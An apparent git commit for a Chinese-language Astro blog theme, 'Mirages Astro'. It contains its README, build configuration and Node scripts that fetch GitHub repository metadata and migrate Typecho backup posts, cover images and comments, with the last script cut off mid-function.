Initial Commit

This commit is contained in:
RiseForever
2026-08-11 10:25:27 +08:00
parent 70d33c0996
commit cd5e2796c2
161 changed files with 29688 additions and 2 deletions
+2
View File
@@ -0,0 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
+8
View File
@@ -0,0 +1,8 @@
node_modules/
dist/
.astro/
.astro-cache/
.env
.env.*
!.env.example
pnpm-debug.log*
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

+224 -2
View File
@@ -1,3 +1,225 @@
# Blog # Mirages Astro
路明笔记 Mirages 是一个基于 Astro 的静态博客主题,用于发布文章和独立页面。旧版 PHP 文件位于本项目之外,保持不变。
本文档说明 Astro 主题的常用配置、Twikoo 评论和文章 Frontmatter。
## 运行项目
运行项目需要 Node.js 和 Corepack。
```sh
corepack pnpm install
corepack pnpm dev
```
`corepack pnpm check` 用于执行 Astro 类型和内容检查;`corepack pnpm build` 用于构建静态站点并生成 Pagefind 搜索索引;`corepack pnpm preview` 用于预览构建后的站点。
## 基本配置
主要配置文件是 `src/site.config.ts`。发布前至少修改以下内容:
| 配置 | 位置 | 用途 |
| --- | --- | --- |
| 站点名称 | `site.title` | 页面标题、导航站点名 |
| 站点描述 | `site.description` | 默认 description、RSS 描述 |
| 作者信息 | `site.author` | 头像、作者名、简介 |
| 正式域名 | `site.url` | canonical、RSS、sitemap、robots.txt 和社交分享地址 |
| 导航菜单 | `navigation` | 顶部和移动端导航 |
| Banner | `banner` | 首页横幅标题、图片、尺寸和遮罩 |
| 默认封面 | `cards.defaultCovers` | 文章没有封面时使用的候选图片 |
| 标签云数量 | `archives.tagLimit` | 归档页显示的最多标签数,设为 `0` 显示全部 |
| 页脚 | `footer` | 版权、说明和页脚链接 |
`site.url` 必须替换为真实的 HTTPS 域名,不要保留 `https://example.com`,否则 sitemap、canonical 和 Open Graph URL 都会指向错误地址。
### 网站图标 Favicon
当前 `src/layouts/BaseLayout.astro` 中的默认配置使用空白 data URI 图标。添加自己的图标时:
1. 将图标放入 `public/`,例如 `public/favicon.svg``public/favicon.png`
2. 编辑 `src/layouts/BaseLayout.astro``<head>`,把默认图标:
```astro
<link rel="icon" href="data:," />
```
替换为:
```astro
<link rel="icon" href="/favicon.svg" type="image/svg+xml" />
```
PNG 图标示例:
```astro
<link rel="icon" href="/favicon.png" type="image/png" sizes="32x32" />
```
如需 Apple 设备图标,可同时添加:
```astro
<link rel="apple-touch-icon" href="/apple-touch-icon.png" sizes="180x180" />
```
`public/` 下的文件会原样复制到站点根目录。修改后运行 `pnpm build`,并使用强制刷新检查浏览器缓存。
### 其他基本信息
颜色主题、默认主题和主题色位于 `appearance`;RSS、搜索、导航和自定义工具按钮也都在 `src/site.config.ts` 中配置。自定义工具按钮可按 `toolbarItems` 的类型定义添加 `link``rss` 项。`astro.config.mjs` 会读取 `site.url` 用于 sitemap 和站点构建配置。
## Twikoo 配置
Twikoo 评论默认关闭。完整配置入口是:
```text
astro/src/site.config.ts
```
将:
```ts
comments: { provider: 'none' },
```
改为:
```ts
comments: {
provider: 'twikoo',
envId: '你的 Twikoo 云函数地址',
region: 'cn',
lang: 'zh-CN'
},
```
其中 `envId` 就是 Twikoo 云函数或后端服务地址。例如使用 Vercel、Netlify、CloudBase 或自有服务器部署后,填写部署平台提供的公开访问地址:
```ts
envId: 'https://your-twikoo-api.example.com'
```
不要填写管理后台地址,也不要填写带具体文章路径的 URL。这里填写的是 Twikoo 服务根地址,前端会将它传给 `twikoo.init()`
只有使用腾讯云 CloudBase 环境 ID 时才需要填写 `region`;填写 URL 型云函数或自托管服务地址时不要填写它。`lang` 可按需要修改,默认使用站点语言。
然后在需要评论的文章 Frontmatter 中启用:
```yaml
comments: true
```
Twikoo 客户端脚本由 `src/components/TwikooComments.astro` 从 jsDelivr 延迟加载,只有评论区域接近视口时才初始化。评论数量由 `src/components/TwikooCommentCounts.astro` 读取。修改配置后重新构建并部署:
```sh
pnpm build
```
如果页面显示“评论暂时不可用”,依次检查云函数地址是否能从浏览器直接访问、CORS 配置、Twikoo 环境变量和 `envId` 是否包含多余路径或空格。
## 文章 Frontmatter
文章位于 `src/content/posts`,独立页面位于 `src/content/pages`。两者使用相同的字段结构:
```yaml
title: 文章标题 # 必填
description: 简短摘要 # 可选,文章摘要和 SEO 描述
pubDate: 2026-07-30
updatedDate: 2026-08-01
draft: false
slug: custom-url
cover: https://images.example.com/article-cover.jpg
hero: https://images.example.com/article-hero.jpg
categories: [Notes]
tags: [astro]
textTone: auto
toc:
enabled: true
position: right
comments: true
math: false
mermaid: false
```
### 字段说明
| 字段 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `title` | 字符串 | 必填 | 文章标题。用于文章页标题、卡片和 SEO 标题。 |
| `description` | 字符串 | 无 | 文章摘要;用于 SEO description,未填写时会从正文生成摘要。 |
| `pubDate` | 日期 | 必填 | 发布日期,支持 `YYYY-MM-DD` 等可被 JavaScript 解析的日期格式。 |
| `updatedDate` | 日期 | 无 | 修改日期,适合在文章有实质更新时填写。 |
| `draft` | 布尔值 | `false` | `true` 时不生成文章路由,也不会出现在列表、RSS 和 sitemap 中。 |
| `slug` | 字符串 | 文件名/路径 | 自定义文章 URL slug。建议只使用稳定的英文、数字和短横线。 |
| `cover` | 字符串 | 无 | 文章卡片和文章 Banner 的封面 URL。支持绝对 URL 和项目内路径。 |
| `hero` | 字符串 | 无 | 兼容旧内容的 Banner 图片字段;没有 `cover` 时可作为图片来源。 |
| `categories` | 字符串数组 | `[]` | 文章分类,例如 `[随笔, 写作]`。 |
| `tags` | 字符串数组 | `[]` | 文章标签,例如 `[Astro, 前端]`。 |
| `textTone` | `light` / `dark` / `auto` | 无 | Banner 文字颜色。`auto` 会在图片加载后根据图片亮度判断。 |
| `toc` | 布尔值或对象 | `false` | 是否显示目录。对象可设置 `enabled``position: left/right`。 |
| `comments` | 布尔值 | `false` | 是否显示 Twikoo 评论区;还需要先在站点配置中启用 Twikoo。 |
| `math` | 布尔值 | `false` | 是否加载 KaTeX,用于 LaTeX 数学公式。 |
| `mermaid` | 布尔值 | `false` | 是否加载 Mermaid,用于 `mermaid` 代码块。 |
Frontmatter 必须放在 Markdown 文件开头的两个 `---` 之间。数组可以使用行内格式,也可以使用多行格式:
```yaml
categories:
- 随笔
- 写作
tags:
- Astro
- 网站
```
目录配置示例:
```yaml
toc:
enabled: true
position: left
```
文章卡片在构建时按以下顺序选择图片:`cover`、兼容旧内容的 `hero`、Markdown/MDX 正文中的第一张标准 Markdown 图片或 HTML `img`,最后使用 `siteConfig.cards.defaultCovers` 中的确定性候选图片。正文中的相对图片地址会根据最终文章 URL 解析,例如 `/posts/hello/` 中的 `images/photo.jpg` 会解析为 `/posts/hello/images/photo.jpg`。如果 `defaultCovers` 为空且没有其他图片,卡片会使用确定性的纯色背景作为兜底。
如果文章没有 `cover``hero`,只在正文中添加图片也可以:
```md
![Article image](./images/article.jpg)
```
`src/content/posts/first-light.md``content-workflow.md``quiet-default.md` 分别演示了 Frontmatter 封面、正文图片和默认封面路径。
`draft: true` 会将文章从文章列表、RSS、sitemap 和生成路由中排除。`toc` 也可以直接设置为 `true``false`;对象形式支持 `position: left``right`。目录标题由 Astro `render()` 返回的 headings 生成,并使用真实的 `#slug` 锚点。桌面端显示侧边目录,较小屏幕使用原生 `details` 控件,不会导致页面整体偏移。
包含 LaTeX 公式时设置 `math: true`。Markdown 通过 `remark-math``rehype-katex` 构建,只有这些页面会加载 KaTeX CSS。这是构建时渲染,不会加载 MathJax。
包含 `mermaid` 代码块时设置 `mermaid: true`。Mermaid 只会在这些页面中动态加载,渲染主题会跟随当前深色模式设置。
## 路由和工具
- `/` 是文章首页;`/posts/.../` 是公开文章页面。
- `/about/` 和其他非保留路径由 `src/content/pages` 生成。
- `/archives/``/categories/.../``/tags/.../` 提供归档及分类、标签页面。
- `/rss.xml` 是公开文章 RSS Feed。
- `/sitemap-index.xml``@astrojs/sitemap` 生成;`/robots.txt` 会将搜索引擎指向 sitemap。
- `build` 会为 `dist` 生成 Pagefind 索引;也可以使用 `search:index` 单独重新生成索引。
- Twikoo 通过 `siteConfig.comments` 按需启用。浏览器端 CDN 地址固定使用已安装的 `twikoo` `1.7.15` 版本,并以延迟方式加载评论和评论数量。
## Markdown 短代码
短代码由 `src/lib/shortcodes.ts` 在构建时处理;现有 `.md` 文件继续支持,不需要迁移到 MDX。块级语法是 `[name key="value"]...[/name]`GitHub 卡片还支持 `[github repo="owner/repo" /]``[!] text``[!/ ] text` 是行内提示。属性支持 ASCII 引号、中文排版引号、不加引号的值和布尔标记。代码围栏不会被短代码处理。
| 语法 | 支持情况 | 说明 |
| --- | --- | --- |
| `[!]``[!/ ]` | 支持 | 行内提示,仅识别这些明确形式 |
| `button``btn` | 支持 | 支持 `href``url``link`;仅允许 http/https/mailto/tel 和相对地址 |
| `file` | 支持 | URL 规则与按钮相同 |
| `tag``label` | 支持 | `type` 支持 primary、success、warning、danger、info、default;支持 `outline` |
| `hint``tip` | 支持 | `type` 支持 warn、warning、error、danger、success、info;可选 `title` |
| `collapse` | 支持 | 使用原生且可访问的 `details`/`summary`;支持 Markdown 和嵌套折叠 |
| `tabs``tab` | 支持 | 静态可访问标签页,通过少量原生客户端脚本切换;多个实例互不影响 |
| `github` | 支持 | 构建时生成 GitHub 仓库卡片,并验证 `owner/repo`。可选 `description``stars``forks``lastCommit``commitDate``readMore``download` |
| 未知或不安全的值 | 安全兜底 | 无效链接和仓库会作为普通文本输出 |
`selected` 用于指定初始标签页。执行 `build` 时,`[github repo="owner/repo" /]` 使用的仓库会从 GitHub 公开仓库 API 获取,并缓存到 `.astro-cache/github.json`,缓存时间为 24 小时。可以设置 `GITHUB_CACHE_TTL_MS``GITHUB_API_TIMEOUT_MS` 调整默认值,也可以设置 `GITHUB_TOKEN` 以提高 API 访问限制;Token 不会写入缓存或构建输出。项目只使用公开仓库元数据。API 出错或处于开发模式时,会安全降级为仓库链接和 `—`,不会阻断构建。短代码中显式填写的属性始终优先于 API 数据;`readMore` 默认使用 `html_url``download` 使用 API 返回的 `default_branch`。浏览器端不会请求 GitHub API。已移除的短代码会触发构建错误,而不会作为普通 Markdown 输出。
+52
View File
@@ -0,0 +1,52 @@
import { defineConfig } from 'astro/config';
import { unified } from '@astrojs/markdown-remark';
import sitemap from '@astrojs/sitemap';
import tailwindcss from '@tailwindcss/vite';
import remarkMath from 'remark-math';
import rehypeKatex from 'rehype-katex';
import shortcodes from './src/lib/shortcodes.ts';
import externalLinks from './src/lib/external-links.ts';
import { siteConfig } from './src/site.config.ts';
import { copyFileSync, readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
const rootGif = resolve(process.cwd(), '88x31.gif');
const copyRootGif = {
name: 'copy-root-gif',
hooks: {
'astro:build:done': ({ dir }) => {
copyFileSync(rootGif, resolve(fileURLToPath(dir), '88x31.gif'));
}
}
};
let githubData = {};
try {
const githubCachePath = resolve(process.cwd(), process.env.GITHUB_CACHE_PATH ?? '.astro-cache/github.json');
githubData = JSON.parse(readFileSync(githubCachePath, 'utf8')).repositories ?? {};
} catch {
// The build script creates this cache before Astro loads the config.
}
export default defineConfig({
site: siteConfig.site.url,
integrations: [sitemap(), copyRootGif],
vite: {
plugins: [tailwindcss()]
},
markdown: {
shikiConfig: {
themes: {
light: 'github-light',
dark: 'github-dark'
},
defaultColor: false
},
processor: unified({
remarkPlugins: [remarkMath, [shortcodes, { githubData, siteUrl: siteConfig.site.url }]],
rehypePlugins: [rehypeKatex, [externalLinks, { siteUrl: siteConfig.site.url }]]
})
}
});
+8763
View File
File diff suppressed because it is too large Load Diff
+43
View File
@@ -0,0 +1,43 @@
{
"name": "mirages-astro",
"private": true,
"type": "module",
"scripts": {
"dev": "astro dev",
"new-post": "node scripts/new-post.mjs",
"check": "astro check",
"build": "node scripts/clean-astro-cache.mjs && node scripts/fetch-github.mjs && astro build && pagefind --site dist",
"search:index": "pagefind --site dist",
"preview": "astro preview"
},
"dependencies": {
"@astrojs/markdown-remark": "^7.2.2",
"@astrojs/rss": "^4.0.19",
"@astrojs/sitemap": "^3.7.3",
"@lucide/astro": "^1.27.0",
"astro": "^7.2.0",
"hast-util-to-html": "^9.0.5",
"katex": "^0.18.1",
"mdast-util-from-markdown": "^2.0.2",
"mdast-util-gfm": "^3.1.0",
"mdast-util-to-hast": "^13.2.0",
"mermaid": "^11.16.0",
"micromark-extension-gfm": "^3.0.0",
"pagefind": "^1.3.0",
"pangu": "^9.1.0",
"photoswipe": "^5.4.4",
"rehype-katex": "^7.0.1",
"remark-math": "^6.0.0",
"twikoo": "1.7.15",
"unist-util-visit": "^5.0.0"
},
"devDependencies": {
"@astrojs/check": "^0.9.4",
"@playwright/test": "^1.62.0",
"@tailwindcss/vite": "^4.3.3",
"@types/node": "^26.1.2",
"tailwindcss": "^4.3.3",
"typescript": "^5.8.3"
},
"packageManager": "pnpm@10.12.4"
}
+4
View File
@@ -0,0 +1,4 @@
exclude_selectors:
- '[data-pagefind-ignore]'
- '.katex'
- '.search-panel'
+5469
View File
File diff suppressed because it is too large Load Diff
+5
View File
@@ -0,0 +1,5 @@
 astro  v5.18.2 ready in 11 ms
┃ Local http://127.0.0.1:4321/
+7
View File
@@ -0,0 +1,7 @@
import { rm } from 'node:fs/promises';
await Promise.all([
rm('dist', { recursive: true, force: true }),
rm('.astro', { recursive: true, force: true }),
rm('node_modules/.astro', { recursive: true, force: true })
]);
+100
View File
@@ -0,0 +1,100 @@
import { readdir, readFile, writeFile, mkdir, rm } from 'node:fs/promises';
import { dirname, join } from 'node:path';
const root = process.cwd();
const cacheDir = join(root, '.astro-cache');
const cachePath = process.env.GITHUB_CACHE_PATH ? join(root, process.env.GITHUB_CACHE_PATH) : join(cacheDir, 'github.json');
const contentDir = join(root, 'src', 'content');
const ttlMs = Number(process.env.GITHUB_CACHE_TTL_MS ?? 24 * 60 * 60 * 1000);
const timeoutMs = Number(process.env.GITHUB_API_TIMEOUT_MS ?? 8000);
const validRepository = /^[A-Za-z0-9](?:[A-Za-z0-9_.-]{0,38})\/[A-Za-z0-9](?:[A-Za-z0-9_.-]{0,99})$/;
async function contentFiles(directory) {
const files = [];
for (const entry of await readdir(directory, { withFileTypes: true })) {
const path = join(directory, entry.name);
if (entry.isDirectory()) files.push(...await contentFiles(path));
else if (/\.(md|mdx)$/i.test(entry.name)) files.push(path);
}
return files;
}
function repositoriesFrom(source) {
const repositories = [];
let fence = null;
for (const line of source.matchAll(/^[^\n]*(?:\n|$)/gm)) {
const text = line[0].trim();
const fenceMatch = text.match(/^(`{3,}|~{3,})/);
if (fenceMatch) {
if (!fence) fence = fenceMatch[1][0];
else if (fenceMatch[1][0] === fence) fence = null;
continue;
}
if (fence) continue;
const tag = text.match(/^\[github\b([^\]]*)/i);
const value = tag?.[1].match(/(?:^|\s)(?:repo|repository)\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s\]]+))/i);
const repository = value?.[1] ?? value?.[2] ?? value?.[3];
if (repository && validRepository.test(repository.trim())) repositories.push(repository.trim().toLowerCase());
}
return repositories;
}
async function readCache() {
try {
const cache = JSON.parse(await readFile(cachePath, 'utf8'));
return cache?.repositories && typeof cache.repositories === 'object' ? cache : { repositories: {} };
} catch (error) {
if (error?.code !== 'ENOENT') console.warn('[github] Could not read .astro-cache/github.json; rebuilding it.');
return { repositories: {} };
}
}
async function fetchRepository(repository) {
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), timeoutMs);
const headers = { Accept: 'application/vnd.github+json', 'User-Agent': 'mirages-astro-build' };
if (process.env.GITHUB_TOKEN) headers.Authorization = `Bearer ${process.env.GITHUB_TOKEN}`;
try {
const response = await fetch(`https://api.github.com/repos/${repository}`, { headers, signal: controller.signal });
if (!response.ok) throw new Error(`HTTP ${response.status}`);
const data = await response.json();
if (data.private) throw new Error('private repositories are not supported');
if (typeof data.stargazers_count !== 'number' || typeof data.forks_count !== 'number' || typeof data.html_url !== 'string') throw new Error('unexpected API response');
return {
stars: String(data.stargazers_count),
forks: String(data.forks_count),
description: typeof data.description === 'string' ? data.description : '',
commitDate: typeof data.pushed_at === 'string' ? data.pushed_at : '',
htmlUrl: data.html_url,
defaultBranch: typeof data.default_branch === 'string' && data.default_branch ? data.default_branch : 'main',
fetchedAt: new Date().toISOString()
};
} finally {
clearTimeout(timeout);
}
}
const repositories = new Set();
for (const file of await contentFiles(contentDir)) {
for (const repository of repositoriesFrom(await readFile(file, 'utf8'))) repositories.add(repository);
}
const cache = await readCache();
const now = Date.now();
let successful = 0;
for (const repository of repositories) {
const cached = cache.repositories[repository];
if (cached?.fetchedAt && now - Date.parse(cached.fetchedAt) < ttlMs) continue;
try {
cache.repositories[repository] = await fetchRepository(repository);
successful += 1;
console.log(`[github] fetched ${repository}`);
} catch (error) {
console.warn(`[github] ${repository}: ${error instanceof Error ? error.message : 'request failed'}; using ${cached ? 'cached data' : 'fallback values'}.`);
}
}
await mkdir(dirname(cachePath), { recursive: true });
await writeFile(cachePath, `${JSON.stringify({ version: 1, generatedAt: new Date().toISOString(), repositories: cache.repositories }, null, 2)}\n`);
await rm(join(root, '.astro'), { recursive: true, force: true });
console.log(`[github] cache ${cachePath} (${successful} request${successful === 1 ? '' : 's'}, ${repositories.size} repos)`);
+173
View File
@@ -0,0 +1,173 @@
import fs from 'node:fs';
import path from 'node:path';
import zlib from 'node:zlib';
const root = process.cwd();
const backupPath = process.env.TYPECHO_SQL_GZ ?? 'C:/Users/hi/Desktop/备份/www_luming_cool_2026-08-01_01-30-01_mysql_data.sql.gz';
const postsDir = path.join(root, 'src', 'content', 'posts');
const coversDir = path.join(root, 'public', 'images', 'typecho-covers');
function sqlString(value) {
if (value === 'NULL') return null;
if (value.startsWith("'") && value.endsWith("'")) {
return value.slice(1, -1).replace(/\\([\\'"\\0bnrtZ])/g, (_, character) => ({ '\\': '\\', "'": "'", '"': '"', '0': '\0', b: '\b', n: '\n', r: '\r', t: '\t', Z: '\x1a' }[character] ?? character));
}
return value;
}
function splitSqlValues(input) {
const values = [];
let current = '';
let quote = false;
let escaped = false;
for (const character of input) {
if (quote) {
current += character;
if (escaped) escaped = false;
else if (character === '\\') escaped = true;
else if (character === "'") quote = false;
} else if (character === "'") {
quote = true;
current += character;
} else if (character === ',') {
values.push(sqlString(current.trim()));
current = '';
} else {
current += character;
}
}
values.push(sqlString(current.trim()));
return values;
}
function parseInsertRows(sql, table) {
const marker = `INSERT INTO \`${table}\` VALUES `;
const start = sql.indexOf(marker);
if (start < 0) return [];
let end = start + marker.length;
let scanQuote = false;
let scanEscaped = false;
for (; end < sql.length; end += 1) {
const character = sql[end];
if (scanQuote) {
if (scanEscaped) scanEscaped = false;
else if (character === '\\') scanEscaped = true;
else if (character === "'") scanQuote = false;
} else if (character === "'") {
scanQuote = true;
} else if (character === ';') {
break;
}
}
const input = sql.slice(start + marker.length, end);
const rows = [];
let row = '';
let depth = 0;
let rowQuote = false;
let rowEscaped = false;
for (const character of input) {
if (rowQuote) {
row += character;
if (rowEscaped) rowEscaped = false;
else if (character === '\\') rowEscaped = true;
else if (character === "'") rowQuote = false;
continue;
}
if (character === "'") rowQuote = true;
if (character === '(') depth += 1;
if (character === ')') depth -= 1;
if (depth > 0) row += character;
if (depth === 0 && row) {
rows.push(splitSqlValues(row.slice(1, -1)));
row = '';
}
}
return rows;
}
function tableColumns(sql, table) {
const tick = String.fromCharCode(96);
const match = sql.match(new RegExp('CREATE TABLE ' + tick + table + tick + ' \\(([\\s\\S]*?)\\)\\s+ENGINE', 'i'));
if (!match) throw new Error(`missing CREATE TABLE for ${table}`);
return [...match[1].matchAll(/^\s*`([^`]+)`/gm)].map((item) => item[1]);
}
function records(sql, table) {
const columns = tableColumns(sql, table);
return parseInsertRows(sql, table).map((values) => Object.fromEntries(columns.map((column, index) => [column, values[index] ?? null])));
}
function frontmatterRange(content) {
if (!content.startsWith('---')) return null;
const end = content.indexOf('\n---', 3);
return end < 0 ? null : [0, end + 4];
}
function yamlString(value) {
return JSON.stringify(value);
}
function findPosts() {
const files = [];
const visit = (directory) => {
for (const entry of fs.readdirSync(directory, { withFileTypes: true })) {
const target = path.join(directory, entry.name);
if (entry.isDirectory()) visit(target);
else if (/\.md$|\.mdx$/i.test(entry.name)) files.push(target);
}
};
visit(postsDir);
return files.map((file) => ({ file, content: fs.readFileSync(file, 'utf8') }));
}
async function main() {
const sql = zlib.gunzipSync(fs.readFileSync(backupPath)).toString('utf8');
const contents = records(sql, 'luming_contents');
const fields = records(sql, 'luming_fields');
const banners = new Map(fields.filter((field) => field.name === 'banner' && field.str_value).map((field) => [String(field.cid), field.str_value]));
const posts = findPosts();
const byTitle = new Map(posts.map((post) => [post.content.match(/^title:\s*["']?(.*?)["']?\s*$/m)?.[1]?.replace(/^['"]|['"]$/g, ''), post]));
fs.mkdirSync(coversDir, { recursive: true });
let downloaded = 0;
let failed = 0;
let changed = 0;
let matched = 0;
let existing = 0;
const coverFiles = new Map();
for (const [cid, url] of banners) {
const filename = path.basename(new URL(url).pathname);
const target = path.join(coversDir, filename);
if (!coverFiles.has(url)) {
try {
if (!fs.existsSync(target)) {
const response = await fetch(url);
if (!response.ok) throw new Error(`${response.status} ${response.statusText}`);
fs.writeFileSync(target, Buffer.from(await response.arrayBuffer()));
}
coverFiles.set(url, `/images/typecho-covers/${filename}`);
downloaded += 1;
} catch (error) {
coverFiles.set(url, url);
failed += 1;
console.error(`download failed: ${url}: ${error.message}`);
}
}
const content = contents.find((item) => String(item.cid) === cid);
const post = content && byTitle.get(content.title);
if (!post) continue;
matched += 1;
const range = frontmatterRange(post.content);
if (!range) continue;
if (/^cover:\s*/m.test(post.content.slice(...range))) {
existing += 1;
continue;
}
const insertion = `cover: ${yamlString(coverFiles.get(url))}\noriginalCover: ${yamlString(url)}\n`;
const next = `${post.content.slice(0, range[0])}${post.content.slice(range[0], range[1]).replace(/^---\n/, `---\n${insertion}`)}${post.content.slice(range[1])}`;
fs.writeFileSync(post.file, next, 'utf8');
changed += 1;
}
console.log(JSON.stringify({ sqlContents: contents.length, bannerFields: banners.size, matchedPosts: matched, existingCovers: existing, changedFiles: changed, successfulDownloads: downloaded, failedDownloads: failed, unresolvedBanners: banners.size - matched }, null, 2));
}
await main();
+210
View File
@@ -0,0 +1,210 @@
import crypto from 'node:crypto';
import fs from 'node:fs';
import path from 'node:path';
const root = process.cwd();
const backupDir = process.env.TYPECHO_BACKUP_DIR ?? 'C:/Users/hi/Desktop/备份';
const datPath = process.env.TYPECHO_DAT ?? path.join(backupDir, '20260801_www.luming.cool_6a6e0323b06da.dat');
const twikooExamplePath = path.join(backupDir, 'twikoo-comment (1).json');
const postsDir = path.join(root, 'src', 'content', 'posts');
const migrationDir = path.join(root, 'migration');
const commentsPath = path.join(migrationDir, 'twikoo-comments.json');
const MAGIC = Buffer.from('%TYPECHO_BACKUP_0001%');
const text = (value) => value == null ? null : value.toString('utf8');
const number = (value, fallback = 0) => Number.parseInt(text(value) ?? '', 10) || fallback;
const field = (record, name) => record.fields[name];
function parseBackup(filePath) {
const blob = fs.readFileSync(filePath);
if (!blob.subarray(0, MAGIC.length).equals(MAGIC)) throw new Error('invalid Typecho backup magic');
const records = [];
let pos = MAGIC.length;
while (pos < blob.length) {
if (blob.subarray(pos, pos + MAGIC.length).equals(MAGIC) && pos + MAGIC.length === blob.length) {
pos += MAGIC.length;
break;
}
const start = pos;
if (blob.length - pos < 8) throw new Error(`truncated record header at ${pos}`);
const tableId = blob.readUInt16LE(pos);
const schemaLength = blob.readUInt16LE(pos + 2);
const dataLength = blob.readUInt32LE(pos + 4);
pos += 8;
const schemaBytes = blob.subarray(pos, pos + schemaLength);
const schema = JSON.parse(schemaBytes.toString('utf8'));
pos += schemaLength;
const data = blob.subarray(pos, pos + dataLength);
if (data.length !== dataLength) throw new Error(`truncated record data at ${pos}`);
pos += dataLength;
const checksum = blob.subarray(pos, pos + 32).toString('ascii');
pos += 32;
const expected = crypto.createHash('md5').update(blob.subarray(start, start + 8 + schemaLength + dataLength)).digest('hex');
if (checksum !== expected) throw new Error(`checksum mismatch at ${start}`);
let cursor = 0;
const fields = {};
for (const [name, length] of Object.entries(schema)) {
if (length === null) { fields[name] = null; continue; }
const value = data.subarray(cursor, cursor + length);
if (value.length !== length) throw new Error(`field ${name} exceeds record at ${start}`);
cursor += length;
fields[name] = value;
}
if (cursor !== dataLength) throw new Error(`record length mismatch at ${start}`);
records.push({ tableId, fields, signature: Object.keys(schema).sort().join(',') });
}
if (pos !== blob.length) throw new Error(`unparsed trailing bytes at ${pos}`);
return records;
}
function dateFromUnix(value) {
const timestamp = number(value);
const milliseconds = timestamp < 100000000000 ? timestamp * 1000 : timestamp;
const date = new Date(milliseconds);
if (Number.isNaN(date.valueOf())) throw new Error(`invalid timestamp: ${timestamp}`);
return date.toISOString();
}
function yamlString(value) {
return JSON.stringify(value ?? '');
}
function englishSlug(raw, cid) {
const candidate = (raw ?? '').trim().toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '');
return candidate || `post-${cid}`;
}
function uniqueSlug(raw, cid, used) {
const base = englishSlug(raw, cid);
let slug = base;
let suffix = 2;
while (used.has(slug)) slug = `${base}-${suffix++}`;
used.add(slug);
return slug;
}
function relationMap(records) {
const map = new Map();
for (const record of records) {
const cid = number(field(record, 'cid'));
const mid = number(field(record, 'mid'));
if (!cid || !mid) continue;
if (!map.has(cid)) map.set(cid, []);
map.get(cid).push(mid);
}
return map;
}
function classify(records) {
const allContents = records.filter((r) => ['cid', 'title', 'text'].every((key) => key in r.fields));
// Pages and drafts must also be materialized when comments or relationships
// refer to them; attachments are binary/media records, not post content.
const contents = allContents.filter((r) => text(field(r, 'type')) !== 'attachment');
const comments = records.filter((r) => ['coid', 'cid', 'author', 'text'].every((key) => key in r.fields));
const metas = records.filter((r) => ['mid', 'name', 'slug', 'type'].every((key) => key in r.fields));
const relations = records.filter((r) => ['cid', 'mid'].every((key) => key in r.fields) && !('title' in r.fields));
return { allContents, contents, comments, metas, relations };
}
function main() {
const records = parseBackup(datPath);
const { allContents, contents, comments, metas, relations } = classify(records);
const relation = relationMap(relations);
const metaById = new Map(metas.map((r) => [number(field(r, 'mid')), r]));
const used = new Set();
const postPaths = new Map();
const generated = [];
const categories = new Set();
const tags = new Set();
for (const record of contents) {
const cid = number(field(record, 'cid'));
const sourceSlug = text(field(record, 'slug'));
const slug = uniqueSlug(sourceSlug, cid, used);
const created = dateFromUnix(field(record, 'created'));
const modified = field(record, 'modified') == null ? null : dateFromUnix(field(record, 'modified'));
const date = new Date(created);
const year = String(date.getUTCFullYear());
const month = String(date.getUTCMonth() + 1).padStart(2, '0');
const route = `/posts/${year}/${month}/${slug}`;
const target = path.join(postsDir, year, month, `${slug}.md`);
const taxonomy = { categories: [], tags: [] };
for (const mid of relation.get(cid) ?? []) {
const meta = metaById.get(mid);
if (!meta) continue;
const name = text(field(meta, 'name')) ?? '';
const type = text(field(meta, 'type'));
if (type === 'category') taxonomy.categories.push(name), categories.add(name);
if (type === 'tag') taxonomy.tags.push(name), tags.add(name);
}
const description = ['description', 'summary', 'excerpt'].map((key) => text(field(record, key))).find(Boolean);
const lines = [
'---',
`title: ${yamlString(text(field(record, 'title')) ?? '')}`,
description ? `description: ${yamlString(description)}` : null,
`pubDate: ${yamlString(created)}`,
modified ? `updatedDate: ${yamlString(modified)}` : null,
taxonomy.categories.length ? 'categories:' : 'categories: []',
...taxonomy.categories.map((value) => ` - ${yamlString(value)}`),
taxonomy.tags.length ? 'tags:' : 'tags: []',
...taxonomy.tags.map((value) => ` - ${yamlString(value)}`),
sourceSlug && sourceSlug !== slug ? `originalSlug: ${yamlString(sourceSlug)}` : null,
`comments: ${number(field(record, 'commentsNum')) > 0 || comments.some((comment) => number(field(comment, 'cid')) === cid)}`,
'---',
'',
text(field(record, 'text')) ?? '',
''
].filter((line) => line !== null);
postPaths.set(cid, { route, slug, target, exists: fs.existsSync(target) });
if (!fs.existsSync(target)) {
fs.mkdirSync(path.dirname(target), { recursive: true });
fs.writeFileSync(target, lines.join('\n'), 'utf8');
generated.push(path.relative(root, target));
}
}
const example = JSON.parse(fs.readFileSync(twikooExamplePath, 'utf8'));
if (!Array.isArray(example)) throw new Error('Twikoo example must be an array');
const twikooComments = comments.map((record, index) => {
const cid = number(field(record, 'cid'));
const target = postPaths.get(cid);
if (!target) throw new Error(`comment ${number(field(record, 'coid'), index)} points to missing post ${cid}`);
const created = number(field(record, 'created')) * (number(field(record, 'created')) < 100000000000 ? 1000 : 1);
const id = String(number(field(record, 'coid'), index + 1));
const mail = text(field(record, 'mail')) ?? '';
return {
_id: id,
uid: crypto.createHash('md5').update(`${text(field(record, 'author')) ?? ''}:${mail}`).digest('hex'),
nick: text(field(record, 'author')) ?? '匿名用户',
...(mail ? { mail, mailMd5: crypto.createHash('md5').update(mail.trim().toLowerCase()).digest('hex') } : {}),
...(text(field(record, 'url')) ? { link: text(field(record, 'url')) } : {}),
...(text(field(record, 'agent')) ? { ua: text(field(record, 'agent')) } : {}),
...(text(field(record, 'ip')) ? { ip: text(field(record, 'ip')) } : {}),
master: false,
url: `${target.route}/`,
href: `https://www.luming.cool${target.route}/`,
comment: text(field(record, 'text')) ?? '',
isSpam: text(field(record, 'status')) === 'spam',
created,
updated: created,
id
};
});
fs.mkdirSync(migrationDir, { recursive: true });
fs.writeFileSync(commentsPath, `${JSON.stringify(twikooComments, null, 2)}\n`, 'utf8');
generated.push(path.relative(root, commentsPath));
console.log(JSON.stringify({
records: records.length,
contents: contents.length,
